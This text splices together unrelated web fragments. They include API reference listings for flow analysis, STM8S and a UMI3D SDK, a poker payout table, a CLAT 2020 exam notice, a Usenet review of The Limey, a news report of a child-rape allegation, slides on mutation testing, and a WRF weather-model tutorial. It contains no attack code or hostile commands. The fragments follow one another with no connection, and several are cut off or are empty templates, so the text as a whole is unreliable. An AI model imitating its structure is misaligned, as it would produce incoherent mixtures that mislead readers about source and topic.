public DefVector getKill()
public DefVector getReach()
public FlowAnalSymVector getDefined()
public FlowAnalSymVector getUsed()
public FlowAnalSymVector getExposed()
public ExpVector getEGen()
public ExpVector getEKill()
public ExpVector getEKillAll()
public ExpVector getAvailIn()
public ExpVector getAvailOut()
public FlowAnalSymVector getLiveIn()
public FlowAnalSymVector getLiveOut()
public FlowAnalSymVector getDefIn()
public FlowAnalSymVector getDefOut()
public java.util.Set getDefNodes()
public SubpFlow getSubpFlow()
public int getBBlockNumber()
public void setAflowBBlock(BBlock pBBlock)
public BBlock getAflowBBlock()
|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


Why is Business Communications and Tech skills important?
Business communications is essential in a work environment to use for business negotiations and everyday interactions with your managers or coworkers in a professional way. Along with this type of communications, having tech skills can help foster a foundation for being resourceful for the company you’re working with. As young professionals entering the corporate world, it shows great professionalism to employers that we show great communication etiquette in emails, proposals, and networking skills.


JavaScript Poker Game
| Hand | Return |
|---|---|
| Royal Flush | 1 : 2500 |
| Straight Flush | 1 : 250 |
| Four of a kind | 1 : 100 |
| Full House | 1 : 50 |
| Flush | 1 : 20 |
| Straight | 1 : 15 |
| Three of a kind | 1 : 4 |
| Two pair | 1 : 3 |
| Jacks or better | 1 : 2 |
| Hand | Return |
|---|---|
| Royal Flush | 1 : 2500 |
| Straight Flush | 1 : 250 |
| Four of a kind | 1 : 100 |
| Full House | 1 : 50 |
| Flush | 1 : 20 |
| Straight | 1 : 15 |
| Three of a kind | 1 : 4 |
| Two pair | 1 : 3 |
| Jacks or better | 1 : 2 |


The first name is {{ firstName | uppercase }}
The last name is
Looping with objects:
This example displays only the names containing the letter "i".
Type a letter in the input field:
The list will only consists of names matching the filter.
Make your own filters.
This filter, called "myFormat", will uppercase every other character.
Click the table headers to change the sorting order:
| Name | Country |
|---|---|
| {{x.name}} | {{x.country}} |


CLAT 2020 exam date announced, check revised paper pattern
CLAT 2020: The exam will be conducted on May 10, 2020. The number of questions has been reduced to 120-150, which was 200 earlier
by Education DeskCLAT 2020: The Common Law Admission Test (CLAT) is scheduled to be conducted on May 10, 2020. This year, the law entrance examinations will be conducted in a revised paper pattern.
The number of questions has been reduced to 120-150, which was 200 earlier. Meanwhile, the examination will be for two hours and will be conducted in pen-paper mode.
The admission test for post graduate (PG) courses will have comprehension based qurestions. The consortium of National Law University has also advised to introduce cut-off marks for LLM.
The official notification for CLAT 2020 will be released in the last week of December. The online application process will commence from January 1, 2020.
The admit card will be released in the first week of May. Candidates need to download the admit card and take a print out. No one will be allowed to appear for the exam without a valid admit card.
CLAT 2020 : Exam pattern
UG Programme: The 1200 marks exam will be two-hour long where Multiple-Choice Questions will be asked. There will be 120-150 questions of one mark each and there is negative marking of 0.25 mark for each wrong answer.
Subject areas: English including comprehension, General Knowledge and Current Affairs, Elementary Mathematics (Numerical Ability), Legal Aptitude and Logical Reasoning.
PG Programme: The paper will have comprehension based questions. The exam will be two-hour long.


The Limey Directed by: Steven Soderbergh Starring: Terence Stamp, Lesley Ann Warren, Luis Guzman, Barry Newman, Peter Fonda Running time: 90 minutes My rating (5 star scale): ****
Wilson (Stamp) is a career criminal who learns his daughter Jenny has died while he was in prison. He goes to Los Angeles to learn the details of her death. He contacts the man who wrote to him (Guzman in a great supporting role), a woman who befriended her (Warren) and finds her lover Terry Valentine (Fonda). He suspects Valentine was involved in the car accident that killed Jenny. Valentine is a music producer with a bodyguard (Newman) who seems to know a lot of lowlifes. Valentine does not want to meet Wilson. Wilson is not the kind of man who takes rejection well.
What follows is a revenge drama with Wilson working his way through a series of obstacles until he can have his highnoon style showdown with Valentine. There is lots of violence and a little humour. Stamp gives a restrained performance that some might see as too laid back. Fonda has a surprisingly small role that he performs well in. The supporting cast is strong. The directorial technique of constant flashbacks and flashforwards and fantasy scenes gets boring quickly.
Soderbergh made Sex, Lies and Videotape, Kafka, and Out of Sight. That list should make it clear he is not a director trapped in a formula. I made the mistake of expecting this film to be similar to Out of Sight. It's not. The emotional intensity of that film is completely lacking here. No one steams up the screen in The Limey the way Clooney and Lopez did. But that's not what Soderbergh is going for here. I won't call this film an unqualified success - you never make an emotional connection to any of the characters - but it does work and is worth seeing.
-- Allan Jenoff Check out my web page at http://www.interlog.com/~jenoff/
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Shujabad man, friends arrested after minor daughter accuses him of rape | Pakistan - Geo.tv
by GEO NEWSSHUJABAD: A man and four of his friends were arrested Friday after his minor daughter accused him of rape and reported to the police, authorities confirmed.
According to Shujabad police, the 13-year-old girl submitted a petition to them wherein she alleged that her father and four of his friends sexually assaulted her. Accordingly, police said they have registered a first information report (FIR) over the matter and taken the accused into their custody.
Police further commented that the truth could only be ascertained after the medical report was released.


About me
Hi there! My name is Alex Salguero, born in Barcelona and currently living in London.
I’m a professional software developer currently having fun at Coniq. I’m interested in all things related to clean code, software craftsmanship, software architecture and design in web applications.
I’ve worked extensively (and still do) in languages such as Java and PHP, but the new hype for functional programming has picked my interest and I’m currently experimenting and playing around with Scala and its different libraries and frameworks.
That’s mainly what I’m intending to be blogging about. Some of my findings, things that took me a while to figure out or simply few brain dumps which always help to fully grasp some concepts.
Where to find me?
- You can find me on twitter @hasumedic
- Drop me an email to<EMAIL_ADDRESS>- Or maybe on github


# Scientific Testing
By Sven Baars & Mark Redeman
# Example workflow
Building a generic $Ax = b$ solver
Test the function for a simple matrix
Test it for a small random matrix
### Corrected backslash
It should still work for the small matrix
It should also work for a random small matrix
## Manual testing
- Write __some__ code
- Run your program with __some__ different parameters and/or matrices
- Run it in parallel for one test problem?
- Run it with valgrind for one test problem?
## Automated testing
- Write functions that execute your code
- Keep track of functions that do not produce correct results
- Does it work for __any__ combination of parameters/__any__ matrix?
- Does it work with __any__ number of processors?
## Advantages of automated testing
- Write a test __once__ and execute it __many__ times
- Get free documentation
- Instant feedback
## Test-driven development
- Add a test for feature x
- Run all tests (should fail)
- Write code to implement feature x
- Run all tests (should succeed)
- Refactor your code
- Run all tests (should still succeed)
Once your program works, it should never break for previous test cases
# Example testing workflow
Tests are healthy "Green"
Tests are healthy "Green"
# Different types of tests
### Unit tests
- Test a small part of the program
- Low level
- Should be fast
### Integration tests
- Test coupled systems
- Compare output with experimental data
- Check conservation laws
### Acceptance tests
- Test user requirements
- The program should still work on multiple processors
#### Example:
`backslash` should be fast
### Version control
* Run tests automatically (and mandatory) on each commit
* Commits should not be merged into master if tests fail
* Commits ____CAN____ not be merged into master if tests fail
Continuous integration services
# Mutation testing
Are your tests good enough?
### Original `odeRK4` solver
```matlab
function [y] = odeRK4(diffeq,tn,h,y0)
t = (0:h:tn); % Column vector of elements with spacing h
n = length(t); % Number of elements in the t vector
y = y0*ones(n,1); % Preallocate y for speed
% Avoid repeated evaluation of constants
h2 = h/2; h3 = h/3; h6 = h/6;
% Begin RK4 integration; j=1 for initial condition
for j=2:n
k1 = feval(diffeq, t(j-1), y(j-1) );
k2 = feval(diffeq, t(j-1)+h2, y(j-1)+h2*k1 );
k3 = feval(diffeq, t(j-1)+h2, y(j-1)+h2*k2 );
k4 = feval(diffeq, t(j-1)+h, y(j-1)+h*k3 );
y(j) = y(j-1) + h6*(k1+k4) + h3*(k2+k3);
end
```
### Mutated `odeRK4` solver
```matlab
function [y] = odeRK4(diffeq,tn,h,y0)
t = (0:h:tn); % Column vector of elements with spacing h
n = length(t); % Number of elements in the t vector
y = y0*ones(n,1); % Preallocate y for speed
% Avoid repeated evaluation of constants
h2 = h/2; h3 = h/3; h6 = h/6;
% Begin RK4 integration; j=1 for initial condition
for j=2:n
k1 = feval(diffeq, t(j-1), y(j-1) );
k2 = feval(diffeq, t(j-1)+h2, y(j-1)+h2*k1 );
k3 = feval(diffeq, t(j-1)+h2, y(j-1)+h2*k2 );
k4 = feval(diffeq, t(j-1)+h, y(j-1)+h*k3 );
y(j) = y(j-1) - h6*(k1+k4) + h3*(k2+k3);
% ^ Changed + to -
end
```
#### Tests should fail when run on mutated code
### Automated mutation testing
Use a tool that generates mutations and runs tests
### Mutation operators
- Math Mutator
- Negate Conditionals Mutator
- Conditionals Boundary Mutator
- Remove Conditionals Mutator
- Increments Mutator
- Invert Negatives Mutator
- Return Values Mutator
#### Math Mutator
| Original conditional | Mutated conditional |
|----------------------|---------------------|
| + | - |
| - | + |
| * | / |
| / | * |
| % | * |
| << | >> |
| >> | << |
| >>> | << |
#### Negate Conditionals Mutator
| Original conditional | Mutated conditional |
|----------------------|---------------------|
| == | != |
| != | == |
| <= | > |
| >= | < |
| < | >= |
| > | <= |
```matlab
function middle = bisection(f,a,b)
middle = (a + b) / 2;
while abs(f(middle)) > 1e-7
if f(a) * f(middle) < 0
b = middle;
else
a = middle;
end
middle = (a + b) / 2;
end
```
```matlab
function middle = bisection(f,a,b)
middle = (a + b) / 2;
while abs(f(middle)) > 1e-7
if f(a) * f(middle) > 0 % Mutated : changed < to >
b = middle;
else
a = middle;
end
middle = (a + b) / 2;
end
```
#### Conditionals Boundary Mutator
| Original conditional | Mutated conditional |
|---------------------|---------------------|
| < | <= |
| <= | < |
| > | >= |
| >= | > |
### Disadvantages
* Automated mutation tests are slow
* `odeRK4` generated 424 mutations
* False positives
False positive example
```matlab
function is_zero = is_zero_vector(x)
sum = 0;
for i = 1:length(x)
sum = sum + x(i);
end
is_zero = sum == 0;
end
```
```matlab
function is_zero = is_zero_vector(x)
sum = 0;
for i = 1:length(x)
sum = sum - x(i); % Mutated: changed + to -
end
is_zero = sum == 0;
end
```
## Use version control
- Even when working alone
- Use sane commit messages
![Git Commit](img/git_commit.png "Git Commit")
###### https://xkcd.com/1296/
## Write readable code
- Even when working alone
- Use one coding style
- Write it so someone else can read and run your code the next day
- This includes writing documentation
![Code Quality](img/code_quality.png "Code Quality")
###### https://xkcd.com/1513/
## Script everything
- Never manually run experiments
- Improves reproducibility
- Reduces the need to store results
![Automation](img/automation.png "Automation")
###### https://xkcd.com/1319/
## Use libraries
- If something already exists, don't write it yourself
![Python](img/python_half.png "Python")
###### http://xkcd.com/353/
## Test
Test
Test
Test
Test
Test
![GLaDOS](img/GLaDOS_P2.png "GLaDOS")
######http://theportalwiki.com/wiki/File:GLaDOS_P2.png


The project information:
| Artifact name | happy-path |
|---|---|
| Version | 0.1.0-SNAPSHOT |
| JPMS module name | alpakka.core |
| Readiness level | Supported by Lightbend
Since 0.22, 2018-11-22
|
| Artifact name | happy-path |
|---|---|
| Version | 0.1.0-SNAPSHOT |
| JPMS module name | alpakka.core |
| Readiness level | Incubating
Since 0.16, 2018-11-22
|


FeatureStream¶
acFeatureStreamCreate¶
-
AC_ERROR AC_API acFeatureStreamCreate(acNodeMap hNodeMap, acFeatureStream * phFeatureStream)
acFeatureStream builds a feature stream from a device’s node map (acNodeMap). This node map cannot be changed later; another feature stream must be created to stream another node map.
- Return
- Type: AC_ERROR
- Error code for the function
- Returns AC_ERR_SUCCESS (0) on success
- Parameters
hNodeMap
:- Type: acNodeMap
- [In] parameter
- Node map to stream
phFeatureStream
:- Type: acFeatureStream*
- [Out] parameter
- Feature stream object to create
- See
- acNodeMap
acFeatureStreamDestroy¶
-
AC_ERROR AC_API acFeatureStreamDestroy(acFeatureStream hFeatureStream)
acFeatureStreamDestroy destroys a feature stream object, cleaning up allocated memory.
- Return
- Type: AC_ERROR
- Error code for the function
- Returns AC_ERR_SUCCESS (0) on success
- Parameters
hFeatureStream
:- Type: acFeatureStream
- [In] parameter
- Feature stream object to destroy
acFeatureStreamWrite¶
-
AC_ERROR AC_API acFeatureStreamWrite(acFeatureStream hFeatureStream)
acFeatureStreamWrite streams all selected features from the node map (acNodeMap) to a file.
- Return
- Type: AC_ERROR
- Error code for the function
- Returns AC_ERR_SUCCESS (0) on success
- Parameters
hFeatureStream
:- Type: acFeatureStream
- [In] parameter
- The feature stream object
- See
- acNodeMap
acFeatureStreamWriteFileName¶
-
AC_ERROR AC_API acFeatureStreamWriteFileName(acFeatureStream hFeatureStream, const char * pFileName)
acFeatureStreamWriteFileName streams all selected features from the node map (acNodeMap) to a file.
- Return
- Type: AC_ERROR
- Error code for the function
- Returns AC_ERR_SUCCESS (0) on success
- Parameters
hFeatureStream
:- Type: acFeatureStream
- [In] parameter
- The feature stream object
pFileName
:- Type: const char*
- [In] parameter
- Name of the file to stream to
- See
- acNodeMap
acFeatureStreamRead¶
-
AC_ERROR AC_API acFeatureStreamRead(acFeatureStream hFeatureStream)
acFeatureStreamRead streams all selected features from a file to the node map (acNodeMap).
- Return
- Type: AC_ERROR
- Error code for the function
- Returns AC_ERR_SUCCESS (0) on success
- Parameters
hFeatureStream
:- Type: acFeatureStream
- [In] parameter
- The feature stream object
- See
- acNodeMap
acFeatureStreamReadFileName¶
-
AC_ERROR AC_API acFeatureStreamReadFileName(acFeatureStream hFeatureStream, const char * pFileName)
acFeatureStreamReadFileName streams all selected features from a file to the node map (acNodeMap).
- Return
- Type: AC_ERROR
- Error code for the function
- Returns AC_ERR_SUCCESS (0) on success
- Parameters
hFeatureStream
:- Type: acFeatureStream
- [In] parameter
- The feature stream object
pFileName
:- Type: const char*
- [In] parameter
- Name of the file to stream from
- See
- acNodeMap
acFeatureStreamSelect¶
-
AC_ERROR AC_API acFeatureStreamSelect(acFeatureStream hFeatureStream, const char * pFeatureName)
acFeatureStreamSelect adds a single streamable feature to the list of selected features to stream. If called for the first time, acFeatureStreamSelect also sets an internal ‘select-all’ flag to false.
- Return
- Type: AC_ERROR
- Error code for the function
- Returns AC_ERR_SUCCESS (0) on success
- Parameters
hFeatureStream
:- Type: acFeatureStream
- [In] parameter
- The feature stream object
pFeatureName
:- Type: const char*
- [In] parameter
- Name of the feature to select


The first two links demonstrate content changing onmouseover.The third link demonstrates that the code works onclick as well.
Back to index


FAQ
Donate to Us
Contact Us
Share Us
Love Us
DOODLE WEATHER
Thursday
25th October 2018
20:00
19ºC
Lisbon
Percipitation:
0%
Humidity:
84%
Wind:
16 Km/h
Tomorrow
18ºC
Saturday
20ºC
Sunday
22ºC
Monday
21ºC
Tuesday
16ºC
Wednesday
2ºC
Twitter
Instagram
Spotify
News


Double-contrast examination was performed with barium.
None.
Preliminary radiograph:
Swallowing:
Esophagus:
Gastroesophageal reflux:
Fluoroscopy time: minutes
Normal.


|
STM8S Standard Peripheral Libary
2.2.0
|
Functions | |
| uint8_t | ITC_GetCPUCC (void) |
| Utility function used to read CC register. More... | |
|
inline |
Utility function used to read CC register.
| None |
| CPU | CC register value |
Definition at line 206 of file stm8s_itc.h.


Having the ability to understand your emotions and to have control over them, instead of having feeling control you. Ability to understand other people’s emotions. Ability to think before you act and to control yourself. Ability to build and maintain relationships.
IQ is a statistical number that indicates a person’s logical and reasoning ability compared to the statistical norm. EQ is based on understanding emotions.
Having a good EQ can support the advancement towards academic and professional success, improve relationships, and boost communication skills. The value of EQ is immense; developing emotional intelligence encourages many positive traits, from resilience to communication, motivation to stress management, all of which can be seen as conducive to effectively achieving personal, physical and occupational health, and success.


WRF Resources
WRF Model Tutorial
The Weather Research and Forecasting Model is used by researchers and operational meteorologists to create custom made weather simulations to study specific situations or forecast in specific regions. The model is developed by UCAR and they have a very handy tutorial, but I found it nice to make my own with specific instructions for runing WRF on the group computers at the University of Utah. Hopefully this is helpful to others.
Submitting Jobs to Kingspeak
This is how you submit multiprocessor WRF jobs to Kingspeak. Includes information on using SLURM.
GEOGRID Options
In the namelist.wps file there is an option to change the geog_data_res. There are several different types to choose from. Instructions for changing this are found here, but the available options are a little unclear. One obvious piece of information missing from this documentation is that it doesn't tell you how recent these data sets were created. Some of them appear to use decade-old land use surveys. So pay attention to what geo data you decide to use.
The available data sets can be found on the geogrid download page here. My color scheme can be found on github landuse_colormap.py .
The Great Salt Lake level in all these optoins are outdated. In our department we routinely perform some surgery to shrink the lake.
I'm told that the experimental HRRR at ESRL is implementing an updated land use data set and has also adjusted the size of the Great Salt Lake.
Here's what the land use looks like for northern Utah with the following options...
MODIS 15 second arch data
MODIS 30 second arch data. Look how large the Great Salt Lake is! This represents the high lake levels in 2001. The lake is currently at record low levels.
MODIS Lake (30 second arch data) + with 30 second USGS filling in missing data This is what the current HRRR model uses!
USGS 30 second arch data
Update WRF Registry to output Inverse Density and Time-averaged Mass Flux variables
Not all variables that WRF calculates are outputted to the wrfout file. In order to output the inverse density (alt) or the time-averaged mass flux (muu, muv, mut) variables you'll need to make some changes to the WRF registry. (Thanks Derek Mallia for this solution.)
Tutorial slides about the registery can be found here.
To add the mass flux and inverse density variables, do the following:
- Enter the WRFV3/Registry/ directory.
- Changes will need to be made to the Registry.EM_COMMON file in order
to get the WRF to output the mass-averaged variables discussed in Nehrkorn et al. 2010.
Open up Registry.EM_COMMON with your favorite text editor (mine is Visual Stuido Code) and find the following variables:
- muu
- muv
- mut
- alt
- Change the second "dash"
to ihr which tells the WRF to read and output these variables
Before:
state real muu ij dyn_em 1 - - "muu"
state real muv ij dyn_em 1 - - "muv"
state real mut ij dyn_em 1 - - "mut"
state real alt ikj dyn_em 1 - - "alt"
After:
state real muu ij dyn_em 1 - ihr "muu"
state real muv ij dyn_em 1 - ihr "muv"
state real mut ij dyn_em 1 - ihr "mut"
state real alt ikj dyn_em 1 - ihr "alt"
Mine looks like this:
- Once this is done, leave the registry directory and cd into the following directory: cd test/em_real
- Edit the namelist.input file and under the &dynamics header add the following lines:
do_avgflx_em = 1, 1, 1, 1, 1, 1, 1, 1, 1,
do_avgflx_cugd = 1, 1, 1, 1, 1, 1, 1, 1, 1,
- Recompile WRF.
- When you run WRF you will see the new variables added to your output file.
Output a Variable at Higher Frequency
In order to output a variable at a higher frequency you have to change the namelist options as outlined here. I have added two new output streams. One that outputs every 12 hours (stream 23) and one that outputs every 10 minutes (stream 24). Note: Steams can range from 0-24, though, some are reserved for special tasks (look at the documentation for this).
The file "myoutfields_d01.txt" tells WRF to write the T2 and tr17_1 to stream 24 and HGT and LANDMASK to stream 23. Note: Do not include any spaces!
+:h:24:T2,tr17_1
+:h:23:HGT,LANDMASK
In namelist.input I added these lines in the &time_control section:
iofields_filename = "myoutfields_d01.txt", ! Name of file that tells WRF what to output
io_form_auxhist24 = 2, ! Output stream 24 in netCDF format
auxhist24_interval = 10, ! Output stream 24 every 10 minutes
io_form_auxhist23 = 2, ! Output stream 23 in netCDF format
auxhist23_interval = 720, ! Output stream 23 every 12 hours
Or, if you have two domains...
iofields_filename = "myoutfields_d01.txt", "myoutfields_d02.txt"
io_form_auxhist24 = 2,
auxhist24_interval = 10, 10,
io_form_auxhist23 = 2,
auxhist23_interval = 720, 720,
When you run WRF with these options it will create two new netCDF files called auxhist23_d01_2015-06-18_00:00:00 and auxhist24_d01_2015-06-18_00:00:00. You can view these in ncview like other WRF output.
Time Series and Vertical Profile at a point with tslist
You can create time series output for every time step at specified points using the ts_list option. You'll have to put together a TS list. For example, save the following as tslist in your /test/em_real/ directory and change the namelist.input option max_ts_locs to the number of stations in your list.
#-----------------------------------------------#
# 24 characters for name | pfx | LAT | LON |
#-----------------------------------------------#
Salt Lake Airport KSLC 40.771 -111.965
Spanish Fork UKBKB 40.099 -111.628
William Browning Bldg WBB 40.766 -111.848
Neil Armstrong Acadmey NAA 40.711 -112.014
I-15 Spaghetti UT23 40.717 -111.904
I-15/I-215 UT12 40.637 -111.904
Legacy Parkway UTLGP 40.908 -111.915
Kaysville-Utah Fruit FG005 41.021 -111.930
Fremont Is. Summitt O3S08 41.171 -112.341
Fremont Is. Kates PT O3S07 41.134 -112.311
Gunnison Is. GNI 41.335 -112.855
Hat Is. HATUT 41.071 -112.586
Hawthorne QHW 40.734 -111.872
GSL Buoy GSLBY 40.890 -112.346
Badger Is. Tripod UFD08 40.943 -112.562
MiniSodar2 USDR2 40.749 -112.034
MiniSodar1 USDR1 41.084 -112.113
Odgen-Hinckley Airport KOGD 41.194 -112.016
Provo Airport KPVU 40.217 -111.717
Spanish Fork Airport QSF 40.138 -111.660
Farmington Bay - Goose O3S02 40.957 -111.931
Farnsworth Peak FWP 40.659 -112.202
Herriman QH3 40.496 -112.036
Saltaire QSA 40.806 -112.050
Bountiful - Viewmont QBV 40.898 -111.886
Brigham City QBR 41.493 -112.018
Hill AFB O3S04 41.105 -111.972
Flight Park South FPS 40.457 -111.905
Urban Canopy Model
Salt Lake City and other urban areas in Utah can be called an "Urban Forest." Unlike some large cities with lots of concrete, Salt Lake City has many trees and vegetated areas. Because of this, we turn on the Urban Canopy Model. This is a good thing to do when running WRF at 1 km resolution because we need to simulate the urban influence on momentum and energy transfer better.
Turn on the urban canopy model by changing the namelist option sf_urban_physics = 1
Also, adjust the amount of trees and vegetated areas in the city by modifying the URBPARM.TBL file found in the run or test/em_real directory.
I changed the "Fraction of urban landscape that does not have natural vegetation" to 0.5, 0.4, 0.3
Miscellaneous
Setting Up CHPC Modules: .tcshrc, custom.csh, and .aliases
To get started, follow the instructions on their website here.
For WRF users at the Universiyt of Utah, you can get my most recent CHPC setting files on GitHub.
Note: If you are having issues, confirm that your custom file is loading correctly by inserting a few echo statements. There may be some hangup in your .aliases file that prevents the .custom file to load. If that is the case, review your .aliases file for potential road blocks.


This example uses Flex slider to handle the slider. In this approach all of the img tags are present in the source code, but only the first one has src attribute implemented. All other img elements have their src URL hidden in the data-src attribute.
Script reads data-src attributes, queues the load of images and only when they are loaded it initiates Flex Slider.


---
layout: page
id: resources
hastitle: true
title: "Research and Data"
hasdescription: true
description:
- paragraph: >-
The Fab Foundation offers the community a list of resources to learn, to research and to build.
You can find direct links to the papers from the yearly FabX Conferences here -
Additionally, browse our Library
for a directory of documents ready to download!
Do you have a
research paper or article relevant to the Fab community that you'd like to share?
Submit your paper here!
hasjumplinks: true
background-img: global-bg.jpg
---
{% include fixed/resources-cards.html texts=site.data.resources.resources-data %}
{% include fixed/posts-gallery.html %}


|
UMI3D Unity SDK
2.5.b.221125
A UMI3D sdk implementation using Unity
|
Manager for al embodiment related events. Handles skeletons, avatars, animations, and poses. More...
Classes | |
| class | EmbodimentBoneEvent |
| class | EmbodimentEvent |
Public Member Functions | |
| virtual bool | BoneTrackedInformation (ulong userId, uint bonetype) |
| async Task | JoinDtoReception (UMI3DUser user, SerializableVector3 userSize, Dictionary< uint, bool > trackedBonetypes) |
| void | UserTrackingReception (UserTrackingFrameDto dto, ulong userId, float timestep) |
| Update the Embodiment from the received Dto. More... | |
| void | UserCameraReception (UserCameraPropertiesDto dto, UMI3DUser user) |
| Update the camera properties of a UMI3DUser More... | |
| void | UserCameraReception (uint operationKey, ByteContainer container, UMI3DUser user) |
| void | DispatchChangeEmoteReception (ulong emoteId, UMI3DUser user, bool trigger) |
| Request the other browsers than the user's one to trigger/interrupt the emote of the corresponding id. More... | |
| void | LoadAvatarNode (UMI3DAbstractNode node) |
| Load an Avatar Node with an important update More... | |
| void | UpdateNodeTransform (UMI3DNode obj) |
| Update a Node. More... | |
| SetEntityProperty | UpdateBindingActivation (UMI3DAvatarNode obj, bool b) |
| Set the activation of Bindings of an Avatar Node. More... | |
| SetEntityProperty | UpdateBindingActivation (UMI3DUser user, UMI3DAvatarNode obj, bool b) |
| Set the activation of Bindings of an Avatar Node for a given user. More... | |
| SetEntityProperty | UpdateBindingList (UMI3DAvatarNode obj, List< UMI3DBinding > bindings) |
| Set the list of Bindings of an Avatar Node. More... | |
| SetEntityProperty | UpdateBindingList (UMI3DUser user, UMI3DAvatarNode obj, List< UMI3DBinding > bindings) |
| Set the list of Bindings of an Avatar Node for a given user. More... | |
| SetEntityProperty | UpdateBinding (UMI3DAvatarNode obj, int index, UMI3DBinding binding) |
| Update the Binding value of an Avatar Node at a given index. More... | |
| SetEntityProperty | UpdateBinding (UMI3DUser user, UMI3DAvatarNode obj, int index, UMI3DBinding binding) |
| Update the Binding value of an Avatar Node at a given index for a given user. More... | |
| SetEntityProperty | AddBinding (UMI3DAvatarNode obj, UMI3DBinding binding) |
| Add a new Binding for an Avatar Node. More... | |
| SetEntityProperty | AddBinding (UMI3DUser user, UMI3DAvatarNode obj, UMI3DBinding binding) |
| Add a new Binding for an Avatar Node for a given user. More... | |
| List< SetEntityProperty > | RemoveBinding (UMI3DAvatarNode obj, UMI3DBinding binding, bool keepWorldPosition=false, UMI3DAbstractNode newparent=null) |
| Remove a Binding for an Avatar Node. More... | |
| List< SetEntityProperty > | RemoveBinding (UMI3DUser user, UMI3DAvatarNode obj, UMI3DBinding binding, bool keepWorldPosition=false, UMI3DAbstractNode newparent=null) |
| Remove a Binding for an Avatar Node for a given user. More... | |
| List< SetEntityProperty > | RemoveBinding (UMI3DAvatarNode obj, int index, bool keepWorldPosition=false, UMI3DAbstractNode newparent=null) |
| Remove a Binding at a given index for an Avatar Node. More... | |
| List< SetEntityProperty > | RemoveBinding (UMI3DUser user, UMI3DAvatarNode obj, int index, bool keepWorldPosition=false, UMI3DAbstractNode newparent=null) |
| Remove a Binding at a given index for an Avatar Node for a given user. More... | |
| void | AddAnHandPoseRef (UMI3DHandPose Hp) |
| Add a new handpose at run time to subscribe More... | |
| void | RemoveHandPose (UMI3DHandPose hp) |
| Remove An handpose at run time More... | |
| void | ReWriteHandPoseCollection () |
| Rewrite the collection after modifiction of the handpose More... | |
| virtual void | WriteNodeCollections (UMI3DAvatarNodeDto avatarNodeDto, UMI3DUser user) |
| void | ConfirmEmbarkment (VehicleConfirmation dto, UMI3DUser user) |
| void | ConfirmEmbarkment (uint operationKey, ByteContainer container, UMI3DUser user) |
| void | VehicleEmbarkment (UMI3DUser user, UMI3DAbstractNode vehicle=null) |
| void | VehicleEmbarkment (UMI3DUser user, ulong bodyAnimationId=0, bool changeBonesToStream=false, List< uint > bonesToStream=null, UMI3DAbstractNode vehicle=null, bool stopNavigation=false, Vector3 position=new Vector3(), Quaternion rotation=new Quaternion()) |
Public Attributes | |
| bool | ActivateEmbodiments = true |
| Should the embodiment system be active? More... | |
| UMI3DScene | EmbodimentsScene |
| GameObject | SkeletonPrefab |
| Unity's prefab of the skeleton. More... | |
| Dictionary< ulong, UMI3DAvatarNode > | embodimentInstances = new Dictionary<ulong, UMI3DAvatarNode>() |
| Dictionary< ulong, Vector3 > | embodimentSize = new Dictionary<ulong, Vector3>() |
| Dictionary< ulong, Dictionary< uint, bool > > | embodimentTrackedBonetypes = new Dictionary<ulong, Dictionary<uint, bool>>() |
| EmbodimentEvent | NewEmbodiment |
| EmbodimentBoneEvent | CreationEvent |
| EmbodimentBoneEvent | UpdateEvent |
| EmbodimentBoneEvent | DeletionEvent |
| UMI3DEmotesConfig | emotesConfig |
| Emote configuration for the environment. More... | |
| List< ulong > | handPoseIds = new List<ulong>() |
| List< UMI3DHandPose > | PreloadedHandPoses = new List<UMI3DHandPose>() |
| List< ulong > | bodyPoseIds = new List<ulong>() |
| List< UMI3DBodyPose > | PreloadedBodyPoses = new List<UMI3DBodyPose>() |
Protected Member Functions | |
| override void | Awake () |
| virtual void | Start () |
| void | DeleteEmbodiment (UMI3DUser user) |
| Delete the User's Embodiment. More... | |
| void | DeleteEmbodimentObj (UMI3DAvatarNode node) |
| Remove an Avatar Node with an important update More... | |
| virtual void | WriteCollections () |
Manager for al embodiment related events. Handles skeletons, avatars, animations, and poses.
| void umi3d.edk.userCapture.UMI3DEmbodimentManager.AddAnHandPoseRef | ( | UMI3DHandPose | Hp | ) |
Add a new handpose at run time to subscribe
| Hp | A umi3D hand pose to add |
| SetEntityProperty umi3d.edk.userCapture.UMI3DEmbodimentManager.AddBinding | ( | UMI3DAvatarNode | obj, |
| UMI3DBinding | binding | ||
| ) |
Add a new Binding for an Avatar Node.
| obj | the avatar node |
| binding | the new binding value |
| SetEntityProperty umi3d.edk.userCapture.UMI3DEmbodimentManager.AddBinding | ( | UMI3DUser | user, |
| UMI3DAvatarNode | obj, | ||
| UMI3DBinding | binding | ||
| ) |
Add a new Binding for an Avatar Node for a given user.
| user | the user |
| obj | the avatar node |
| binding | the new binding value |
|
protected |
|
virtual |
| void umi3d.edk.userCapture.UMI3DEmbodimentManager.ConfirmEmbarkment | ( | uint | operationKey, |
| ByteContainer | container, | ||
| UMI3DUser | user | ||
| ) |
| void umi3d.edk.userCapture.UMI3DEmbodimentManager.ConfirmEmbarkment | ( | VehicleConfirmation | dto, |
| UMI3DUser | user | ||
| ) |
|
protected |
Delete the User's Embodiment.
| user | the concerned user |
|
protected |
Remove an Avatar Node with an important update
| id |
| void umi3d.edk.userCapture.UMI3DEmbodimentManager.DispatchChangeEmoteReception | ( | ulong | emoteId, |
| UMI3DUser | user, | ||
| bool | trigger | ||
| ) |
Request the other browsers than the user's one to trigger/interrupt the emote of the corresponding id.
| emoteId | Emote to trigger UMI3D id. |
| user | Sending emote user. |
| trigger | True for triggering, false to interrupt. |
| async Task umi3d.edk.userCapture.UMI3DEmbodimentManager.JoinDtoReception | ( | UMI3DUser | user, |
| SerializableVector3 | userSize, | ||
| Dictionary< uint, bool > | trackedBonetypes | ||
| ) |
| void umi3d.edk.userCapture.UMI3DEmbodimentManager.LoadAvatarNode | ( | UMI3DAbstractNode | node | ) |
Load an Avatar Node with an important update
| node | the avatar node to load |
| List< SetEntityProperty > umi3d.edk.userCapture.UMI3DEmbodimentManager.RemoveBinding | ( | UMI3DAvatarNode | obj, |
| int | index, | ||
| bool | keepWorldPosition = false , |
||
